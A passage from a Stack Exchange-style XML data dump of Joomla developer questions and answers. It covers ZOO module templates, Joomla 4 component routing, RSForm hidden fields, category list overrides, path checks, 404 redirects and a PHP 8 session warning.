&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/modules/mod_zooitem/tmpl/items_users.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;// no direct access&#xA;use Joomla\CMS\Language\Text;&#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;$css_class = $application-&amp;gt;getGroup().'-'.$application-&amp;gt;getTemplate()-&amp;gt;name;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (!empty($items)) : ?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&amp;quot;uk-list uk-list-divider &amp;lt;?php echo $css_class ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;?php $i = 0; foreach ($items as $item) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;?php echo $renderer-&amp;gt;render('item.'.$layout, compact('item', 'params')); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php $i++; endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;?php echo Text::_('COM_ZOO_NO_ITEMS_FOUND'); ?&amp;gt;&#xA;&amp;lt;?php endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/modules/mod_zooitem/renderer/item/user_items.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;$media_position = $params-&amp;gt;get('media_position', 'top');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;layout-default &amp;lt;?php if ($media_position == 'top' || $media_position == 'middle' || $media_position == 'bottom') echo 'alignment-center'; ?&amp;gt;&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if (($media_position == 'top' || $media_position == 'left' || $media_position == 'right') &amp;amp;&amp;amp; $this-&amp;gt;checkPosition('media')) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;media media-&amp;lt;?php echo $media_position; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('media'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &#xA;    &amp;lt;?php if ($this-&amp;gt;checkPosition('title')) : ?&amp;gt;&#xA;    &amp;lt;p class=&amp;quot;title&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('title'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &#xA;    &amp;lt;?php if ($this-&amp;gt;checkPosition('meta')) : ?&amp;gt;&#xA;    &amp;lt;p class=&amp;quot;meta&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('meta', array('style' =&amp;gt; 'comma')); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &#xA;    &amp;lt;?php if (($media_position == 'middle') &amp;amp;&amp;amp; $this-&amp;gt;checkPosition('media')) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;media media-&amp;lt;?php echo $media_position; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('media'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &#xA;    &amp;lt;?php if ($this-&amp;gt;checkPosition('description')) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;description&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('description', array('style' =&amp;gt; 'block')); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &#xA;    &amp;lt;?php if (($media_position == 'bottom') &amp;amp;&amp;amp; $this-&amp;gt;checkPosition('media')) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;media media-&amp;lt;?php echo $media_position; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('media'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &#xA;    &amp;lt;?php if ($this-&amp;gt;checkPosition('links')) : ?&amp;gt;&#xA;    &amp;lt;p class=&amp;quot;links&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;renderPosition('links', array('style' =&amp;gt; 'pipe')); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I hope that the community can help me to achieve it since programming is not my field.&lt;/p&gt;&#xA;" OwnerUserId="11238" LastEditorUserId="11238" LastEditDate="2022-11-06T16:03:29.613" LastActivityDate="2022-11-06T16:03:29.613" Title="How can I see a user's articles in his joomla user profile?" Tags="|php|joomla-4.x|zoo|zoo-cck|cck|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="32459" PostTypeId="2" ParentId="32436" CreationDate="2022-10-07T15:31:17.420" Score="2" Body="&lt;p&gt;Solution found, all details on &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=831&amp;amp;t=996848&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=831&amp;amp;t=996848&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To create a routing in J4 with same behavior that J3, you need to create 4x files :&lt;/p&gt;&#xA;&lt;p&gt;/com_componentname/src/Service/Router.php&lt;/p&gt;&#xA;&lt;p&gt;/com_componentname/src/Service/ComponentnameNomenuRules.php&lt;/p&gt;&#xA;&lt;p&gt;/administrator/components/com_componentname/services/provider.php&lt;/p&gt;&#xA;&lt;p&gt;/administrator/components/com_componentname/src/Extension/ComponentnameComponent.php&lt;/p&gt;&#xA;&lt;p&gt;last file not in my first edit :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace Componentname\Component\Componentname\Administrator\Extension;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Application\SiteApplication;&#xA;use Joomla\CMS\Association\AssociationServiceInterface;&#xA;use Joomla\CMS\Association\AssociationServiceTrait;&#xA;use Joomla\CMS\Categories\CategoryServiceInterface;&#xA;use Joomla\CMS\Categories\CategoryServiceTrait;&#xA;use Joomla\CMS\Extension\BootableExtensionInterface;&#xA;use Joomla\CMS\Extension\MVCComponent;&#xA;use Joomla\CMS\HTML\HTMLRegistryAwareTrait;&#xA;use FooNamespace\Component\Foos\Administrator\Service\HTML\AdministratorService;&#xA;use FooNamespace\Component\Foos\Administrator\Service\HTML\Icon;&#xA;use Psr\Container\ContainerInterface;&#xA;use Joomla\CMS\Helper\ContentHelper;&#xA;use Joomla\CMS\Component\Router\RouterServiceInterface;&#xA;use Joomla\CMS\Component\Router\RouterServiceTrait;&#xA;&#xA;/**&#xA; * Component class for com_foos&#xA; *&#xA; * @since  __BUMP_VERSION__&#xA; */&#xA;class ComponentnameComponent extends MVCComponent implements BootableExtensionInterface, CategoryServiceInterface, AssociationServiceInterface, RouterServiceInterface&#xA;{&#xA;    use CategoryServiceTrait;&#xA;    use AssociationServiceTrait;&#xA;    use HTMLRegistryAwareTrait;&#xA;    use RouterServiceTrait;&#xA;&#xA;    /**&#xA;     * Booting the extension. This is the function to set up the environment of the extension like&#xA;     * registering new class loaders, etc.&#xA;     *&#xA;     * If required, some initial set up can be done from services of the container, eg.&#xA;     * registering HTML services.&#xA;     *&#xA;     * @param   ContainerInterface  $container  The container&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   __BUMP_VERSION__&#xA;     */&#xA;    public function boot(ContainerInterface $container)&#xA;    {&#xA;        //$this-&amp;gt;getRegistry()-&amp;gt;register('foosadministrator', new AdministratorService);&#xA;        //$this-&amp;gt;getRegistry()-&amp;gt;register('fooicon', new Icon($container-&amp;gt;get(SiteApplication::class)));&#xA;    }&#xA;&#xA;    /**&#xA;     * Adds Count Items for Category Manager.&#xA;     *&#xA;     * @param   \stdClass[]  $items    The category objects&#xA;     * @param   string       $section  The section&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   __BUMP_VERSION__&#xA;     */&#xA;    public function countItems(array $items, string $section)&#xA;    {&#xA;        /*try {&#xA;            $config = (object) [&#xA;                'related_tbl'   =&amp;gt; $this-&amp;gt;getTableNameForSection($section),&#xA;                'state_col'     =&amp;gt; 'published',&#xA;                'group_col'     =&amp;gt; 'catid',&#xA;                'relation_type' =&amp;gt; 'category_or_group',&#xA;            ];&#xA;&#xA;            ContentHelper::countRelations($items, $config);&#xA;        } catch (\Exception $e) {&#xA;            // Ignore it&#xA;        }*/&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns the table for the count items functions for the given section.&#xA;     *&#xA;     * @param   string  $section  The section&#xA;     *&#xA;     * @return  string|null&#xA;     *&#xA;     * @since   __BUMP_VERSION__&#xA;     */&#xA;    protected function getTableNameForSection(string $section = null)&#xA;    {&#xA;        //return ($section === 'category' ? 'categories' : 'foos_details');&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns the state column for the count items functions for the given section.&#xA;     *&#xA;     * @param   string  $section  The section&#xA;     *&#xA;     * @return  string|null&#xA;     *&#xA;     * @since   __BUMP_VERSION__&#xA;     */&#xA;    protected function getStateColumnForSection(string $section = null)&#xA;    {&#xA;        //return 'published';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16634" LastEditorUserId="16634" LastEditDate="2022-10-10T07:01:12.733" LastActivityDate="2022-10-10T07:01:12.733" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32461" PostTypeId="1" AcceptedAnswerId="32462" CreationDate="2022-10-10T09:23:21.340" Score="1" ViewCount="531" Body="&lt;p&gt;I have a website which shows user profiles and their relevant userID is available on the page where my form is (but hidden through CSS).&lt;/p&gt;&#xA;&lt;p&gt;(The userID is for the profile being viewed and not the user logged in).&lt;/p&gt;&#xA;&lt;p&gt;I have a hidden field called &amp;quot;profileUserID&amp;quot;, which needs to capture the userID&lt;/p&gt;&#xA;&lt;p&gt;I want my RSForm to be able to capture that userID and submit it along with the rest of the data.&lt;/p&gt;&#xA;&lt;p&gt;HTML for the hidden userID is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span itemprop=&amp;quot;userID&amp;quot; id=&amp;quot;userID&amp;quot;&amp;gt;&amp;lt;?php echo $userid; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In basic terms, I need to get whatever the value for &amp;quot;userID&amp;quot; is and submit this in the form via the profileUserID hidden field.&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2022-10-10T13:04:05.630" LastActivityDate="2022-10-11T09:47:00.993" Title="RSForm get value from html and submit as hidden field" Tags="|php|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32462" PostTypeId="2" ParentId="32461" CreationDate="2022-10-10T11:11:35.950" Score="2" Body="&lt;p&gt;Have you looked at the data available in RS Form in the Forms in the replaceable tag &lt;code&gt;{global:userid}&lt;/code&gt; rather than trying to grab the value from some other value displayed on the page. There is a lot of data readily available to the form directly using {}, assuming the UserID you want is the person logged in and filling in the form.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OPfV9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPfV9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this example I am grabbing the logged in user id and assigning it to the hidden field when the form is displayed. You could also do the same as the form is processed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['form']['profileUserID'] = '{global:userid}';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If that is not a viable option for you, perhaps you are not wanting the logged in user but a userid entered elsewhere on the page outside of the form, then you will probably need to add some JavaScript to the &lt;code&gt;Form Properties-&amp;gt;Javascript&lt;/code&gt; box along the lines of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;    function book() {&#xA;        document.getElementById(&amp;quot;profileUserID&amp;quot;).value = document.getElementById(&amp;quot;userID&amp;quot;).innerHTML;&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then on the Submit button Additional Attributes add:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&amp;quot;book()&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will run when the page loads and gets the value of UserID field somewhere else on the page and saves the value into the Field created in your form. The &lt;code&gt;userID&lt;/code&gt; is the value of HTML &lt;code&gt;id=&amp;quot;userID&amp;quot;&lt;/code&gt; of the field you want to get and and &lt;code&gt;profileUserID&lt;/code&gt; is the &lt;code&gt;id=&amp;quot;profileUserID&amp;quot;&lt;/code&gt; of the field that you want to set.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="294" LastEditDate="2022-10-11T09:47:00.993" LastActivityDate="2022-10-11T09:47:00.993" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32464" PostTypeId="1" AcceptedAnswerId="32481" CreationDate="2022-10-11T09:25:01.467" Score="1" ViewCount="244" Body="&lt;p&gt;I'm trying to modify the Category List of the com_content component via override, so that it shows both the articles of the selected category and its subcategories.&lt;/p&gt;&#xA;&lt;p&gt;I tried to edit the default_articles.php file (in category folder) adding this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($this-&amp;gt;items) &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('show_subcats') != '0')&#xA;{&#xA;    $sub_categories = $this-&amp;gt;children[$this-&amp;gt;category-&amp;gt;id];&#xA;    foreach($sub_categories as $sub_category){&#xA;        $subcategory_model = JModelList::getInstance('Articles', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;        $appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;        $subcategory_model-&amp;gt;setState('params', $appParams);&#xA;        $subcategory_model-&amp;gt;setState('filter.category_id', $sub_category-&amp;gt;id);&#xA;        $subcategory_items = $subcategory_model-&amp;gt;getItems();&#xA;        $this-&amp;gt;items = array_merge($this-&amp;gt;items, $subcategory_items);&#xA;    }&#xA;    //Sort new items by date&#xA;    usort($this-&amp;gt;items, function ($a, $b) {&#xA;        $order_date = ($this-&amp;gt;params-&amp;gt;get('order_date') == 'published') ? 'publish_up' : $this-&amp;gt;params-&amp;gt;get('order_date');&#xA;        return strtotime($b-&amp;gt;{$order_date}) - strtotime($a-&amp;gt;{$order_date});&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I noticed that it's a wrong idea, because &lt;strong&gt;pagination&lt;/strong&gt; and &lt;strong&gt;filter&lt;/strong&gt; are applied before my editing, and they don't consider my new $this-&amp;gt;items array.&lt;/p&gt;&#xA;&lt;p&gt;I was also thinking of editing the pagination and filtering in the default_articles.php, after my edit of $this-&amp;gt;items, but I don't know how to do it and if it's possible. Do you have some advice or alternative solution to make a category and subcategories articles list?&lt;/p&gt;&#xA;" OwnerUserId="16086" LastEditorUserId="16086" LastEditDate="2022-10-17T07:38:16.677" LastActivityDate="2022-10-17T07:38:16.677" Title="Edit category list to show items from a category and its subcategories" Tags="|joomla-4.x|overrides|com-content|category-blog|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32465" PostTypeId="1" CreationDate="2022-10-11T10:23:05.060" Score="2" ViewCount="318" Body="&lt;p&gt;This question looks pretty easy (and probably it is), but I am stuck with the following scenario:&#xA;I'm using XAMPP and have several Joomla installations in subfolders such as \joomla3, \joomla4, etc.&#xA;I want to check if a given file is in the folder 'images' and if the folder 'images' is a subfolder of root.&#xA;Following code is from a plugin written in PHP:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri = Uri::getInstance();&#xA;$base = $uri-&amp;gt;base();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;$base is 'https://localhost/Joomla3/'&lt;/p&gt;&#xA;&lt;p&gt;From given URLs like:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;$src = '/Joomla3/images/foo/bar.webp'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$src = 'https://localhost/joomla3/images/foo/bar2.png'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Following code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri2 = Uri::getInstance($src);&#xA;$path = $uri2-&amp;gt;getPath();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;returns:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;/Joomla3/images/foo/bar.webp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/joomla3/images/foo/bar2.png&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The returned value of getPath is starting with the subfolder of the installation, so in order to check if 'images' is in the root I have to use some regex probably to exclude '/Joomla3/'. Is there a more elegant way to have the following returns:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;/images/foo/bar.webp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/images/foo/bar2.png&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Having them is easy to check if the path starts with '/images/'.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2022-10-15T17:16:08.020" Title="How to check if a file is in root subfolder" Tags="|php|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32466" PostTypeId="2" ParentId="32465" CreationDate="2022-10-11T17:54:30.967" Score="0" Body="&lt;p&gt;Have you looked on J! Constants ?&#xA;&lt;a href=&quot;https://docs.joomla.org/Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Constants&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2022-10-11T17:54:30.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32467" PostTypeId="2" ParentId="32440" CreationDate="2022-10-11T19:23:43.253" Score="0" Body="&lt;p&gt;I think the solution might be &lt;strong&gt;&amp;quot;the plugin&amp;quot;&lt;/strong&gt;. Plugins attach themselves. You can parse article data, article category, etc. You can use an article's extra fields to make things easier to recognize for the plugin so that when you mark a checkbox in the article, then the plugin may try to analyze this article and output different data.&lt;/p&gt;&#xA;&lt;p&gt;Another way is an injected plugin - the more manual way. You place this plugin via article editor by some unique tag/placeholder like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{my_special_module_detector options}content{/my_special_module_detector}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Simple image gallery works like that and injects pictures.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;({gallery}imagefolder{/gallery})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;em&gt;other&lt;/em&gt; other way is to make your own component which is mostly a copy of article component hooked with one of the menu options. It is more work, but it gives you full control over the content area and you decide what's there.&lt;/p&gt;&#xA;&lt;p&gt;Not everything can be treated as an article under Joomla. While you can distinguish them, you might opt for a custom component and drive things your way.&lt;/p&gt;&#xA;&lt;p&gt;The custom component method gives you the ability to completely control everything - your views, your models and your buisness logic. Basically you're writing your own application on !J framework, something like AoF/FoF (Application on Framework / Framework on Framework).&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="12352" LastEditDate="2022-10-11T20:18:04.483" LastActivityDate="2022-10-11T20:18:04.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32468" PostTypeId="2" ParentId="32465" CreationDate="2022-10-11T20:37:11.607" Score="1" Body="&lt;pre&gt;&lt;code&gt;$imageIsAt = Uri::base(true) . '/images/my_logo.png';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Results will be:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;/images/my_logo.png (IN CASE OF ROOT AS MAIN FOLDER)&lt;/li&gt;&#xA;&lt;li&gt;/subfolder_site/images/my_logo.png (IN CASE OF SUBDIRECTORY)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;PHP 8.X (to check if it starts properly)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (str_starts_with(Uri::base(true).'/images', '/images')) &#xA;    // The URI starts with /images&#xA;    echo('I'm at root folder :)');&#xA;else&#xA;    // The Uri starts with some_subfolder/images&#xA;    echo('I'm not at root :(');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Another way to test paths.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You want to check if a given file is in 'images' folder. I don't know what information you've got about the file itself but let's assume you have 'logo.png' filename and that's all.&lt;/p&gt;&#xA;&lt;p&gt;Whatever the file path you've got you can easily extract filename with extension via File/JFile libraries and test it like below:&lt;/p&gt;&#xA;&lt;p&gt;To check if it's inside images you can also do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Filesystem\File; // include this namespace&#xA;$path = JPATH_ROOT.DIRECTORY_SEPARATOR.'images'.DIRECTORY_SEPARATOR.'logo.png';&#xA;var_dump(File::exists($path));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Mind that this method is suitable for Joomla 4.X. Joomla 3.x might have JFile.&lt;/p&gt;&#xA;&lt;p&gt;There are few server-side paths like JPATH_ROOT, JPATH_ADMINISTRATOR, ...&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="16651" LastEditDate="2022-10-15T17:16:08.020" LastActivityDate="2022-10-15T17:16:08.020" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32469" PostTypeId="2" ParentId="32464" CreationDate="2022-10-11T20:58:44.813" Score="0" Body="&lt;p&gt;As far as I remember 'category list' menu item can be configured. You can set 'subcategory levels' to 'All' and it will include all the articles from sublevels.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Overrides&lt;/strong&gt; are meant to change display/views - &lt;strong&gt;not&lt;/strong&gt; the actual business logic.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="16651" LastEditDate="2022-10-11T21:00:54.230" LastActivityDate="2022-10-11T21:00:54.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32470" PostTypeId="1" AcceptedAnswerId="32474" CreationDate="2022-10-11T21:16:28.517" Score="0" ViewCount="143" Body="&lt;p&gt;Today I caught a bug with my 404 page redirecting.&lt;/p&gt;&#xA;&lt;p&gt;If I have not existing page like this &lt;code&gt;https://domain.com/blablapage&lt;/code&gt;, redirecting to 404 is working all good.&lt;/p&gt;&#xA;&lt;p&gt;But if user go to url &lt;code&gt;https://domain.com/blablapage/onemorepage&lt;/code&gt;, Joomla not redirecting him to 404, but open main page with any of menu item.&lt;/p&gt;&#xA;&lt;p&gt;My custom error.php starting with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;    header('Location: ' . JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=53')); // Url to 404 page&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2022-10-15T22:21:52.080" Title="Not correcting redirect to 404 page if url not exist" Tags="|joomla-3.x|redirect|weblinks|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32471" PostTypeId="2" ParentId="32470" CreationDate="2022-10-11T21:55:54.830" Score="1" Body="&lt;p&gt;Are you sure that the corresponding MenuItem exists?&lt;/p&gt;&#xA;&lt;p&gt;The above &lt;code&gt;header()&lt;/code&gt; function needs the url taken from the MenuItem itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So you need one article and one menu item (hidden).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To test if it works, just go to your Menu, go in to the menuitem like 'about/whateverYouLike', then copy the full path from the URL field (detail view tab) and paste to your &lt;code&gt;JRoute()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The url has form of&lt;/strong&gt; &amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;quot; and must exist in &lt;strong&gt;MenuItem&lt;/strong&gt; tree.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="16651" LastEditDate="2022-10-15T22:21:52.080" LastActivityDate="2022-10-15T22:21:52.080" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32474" PostTypeId="2" ParentId="32470" CreationDate="2022-10-12T19:44:04.420" Score="3" Body="&lt;p&gt;This is a well known issue and can be considered as expected behavior for the time being. Basically, the URL path segment is cast to an integer somewhere in the component's router. So &lt;code&gt;23fr23f2g&lt;/code&gt; becomes &lt;code&gt;23&lt;/code&gt; and a content item with ID 23 is loaded. Some patches to fix the issue have been proposed but haven't made it to core yet. There might some SEF extensions available that solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-12T19:44:04.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32475" PostTypeId="1" CreationDate="2022-10-13T10:02:15.700" Score="1" ViewCount="991" Body="&lt;p&gt;After upgrading a stable Joomla 3.10.11 website from PHP 7.4 to PHP 8.0, the following error is displayed on the front end and back end of the website:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: session_start(): Failed to read session data: user (path: /tmp) in&#xA;/home/xxxxxxxx/public_html/libraries/joomla/session/handler/native.php on line 260&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have already checked that the appropriate PHP extensions (such as &lt;code&gt;mysqli&lt;/code&gt;) are enabled in cPanel -&amp;gt; Select PHP Version -&amp;gt; Extensions for PHP 8.0.&lt;/p&gt;&#xA;&lt;p&gt;I am also seeing the same issue on some of my Joomla 4 websites.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-10-14T06:06:11.473" Title="&quot;Warning: session_start(): Failed to read session data&quot; after upgrading from PHP 7.4 to PHP 8.0" Tags="|joomla-3.x|php|joomla-4.x|session|error-handling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32476" PostTypeId="2" ParentId="32475" CreationDate="2022-10-13T10:02:15.700" Score="3" Body="&lt;p&gt;Check and manually update any &lt;code&gt;Addhandler&lt;/code&gt; directives in the .htaccess file if necessary.&lt;/p&gt;&#xA;&lt;p&gt;For example, you may need to update:&lt;/p&gt;&#xA;&lt;p&gt;This: &lt;code&gt;AddHandler application/x-httpd-php74 .php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;To this: &lt;code&gt;AddHandler application/x-httpd-php80 .php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems that cPanel may not update &lt;code&gt;.htaccess&lt;/code&gt; if the website is a subdomain or in a subdirectory.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2022-10-14T06:06:11.473" LastActivityDate="2022-10-14T06:06:11.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32477" PostTypeId="2" ParentId="32456" CreationDate="2022-10-13T19:03:04.143" Score="1" Body="&lt;p&gt;The search component (com_search) gets its results from search plugin and it returns precomputed data of article's most needed parts.&lt;/p&gt;&#xA;&lt;p&gt;I can give you just a quick example how you could fetch article but it may affect the overall performance, because you're going to load them one by one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The first method via the JTable:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$article = JTable::getInstance('Content', 'JTable');&#xA;$article-&amp;gt;load(array('id'=&amp;gt;$result-&amp;gt;slug)); &#xA;$images = json_decode($article-&amp;gt;images);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;The second method via the JModelLegacy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');&#xA;$model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request' =&amp;gt; true)); &#xA;$model-&amp;gt;setState('params', JApplication::getInstance('site')-&amp;gt;getParams()); &#xA;$article = $model-&amp;gt;getItem($result-&amp;gt;slug);&#xA;$images = json_decode($article-&amp;gt;images);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In case of JTable you can provide array of 